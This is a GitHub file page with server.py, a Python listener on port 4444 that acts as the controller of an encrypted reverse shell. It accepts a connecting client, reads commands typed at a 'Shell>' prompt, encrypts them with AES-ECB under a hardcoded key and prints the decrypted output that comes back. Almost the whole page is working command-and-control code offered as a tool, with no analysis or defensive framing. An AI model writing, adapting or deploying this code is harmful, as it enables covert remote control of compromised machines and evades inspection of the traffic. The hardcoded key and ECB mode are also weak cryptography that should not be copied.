-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathserver.py
More file actions
76 lines (63 loc) · 1.9 KB
/
server.py
File metadata and controls
76 lines (63 loc) · 1.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import socket
import threading
import base64
from Crypto.Cipher import AES
from Crypto.Hash import SHA1
import subprocess
SECRET_KEY = "s3cr3tK3y1234567"
HOST = '0.0.0.0'
PORT = 4444
def pad(data):
pad_len = 16 - len(data) % 16
return data + bytes([pad_len] * pad_len)
def unpad(data):
return data[:-data[-1]]
def gen_key(secret):
sha1 = SHA1.new()
sha1.update(secret.encode('utf-8'))
key = sha1.digest()[:16]
return key
def encrypt(msg):
key = gen_key(SECRET_KEY)
cipher = AES.new(key, AES.MODE_ECB)
padded = pad(msg.encode('utf-8'))
enc = cipher.encrypt(padded)
return base64.b64encode(enc).decode()
def decrypt(enc):
key = gen_key(SECRET_KEY)
cipher = AES.new(key, AES.MODE_ECB)
decoded = base64.b64decode(enc)
decrypted = cipher.decrypt(decoded)
return unpad(decrypted).decode()
def handle_client(conn, addr):
print(f"[+] Connection from {addr[0]}")
try:
data = conn.recv(4096).decode()
print("[Client] " + decrypt(data))
while True:
cmd = input("Shell> ").strip()
if not cmd:
continue
enc_cmd = encrypt(cmd)
conn.sendall((enc_cmd + "\n").encode())
resp = conn.recv(16384).decode()
try:
output = decrypt(resp)
except Exception as e:
output = f"[!] Failed to decrypt: {e}"
print(output)
except Exception as e:
print(f"[!] Connection error: {e}")
finally:
conn.close()
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen(1)
print(f"[*] Listening on {HOST}:{PORT}...")
while True:
conn, addr = s.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr), daemon=True)
thread.start()
if __name__ == "__main__":
main()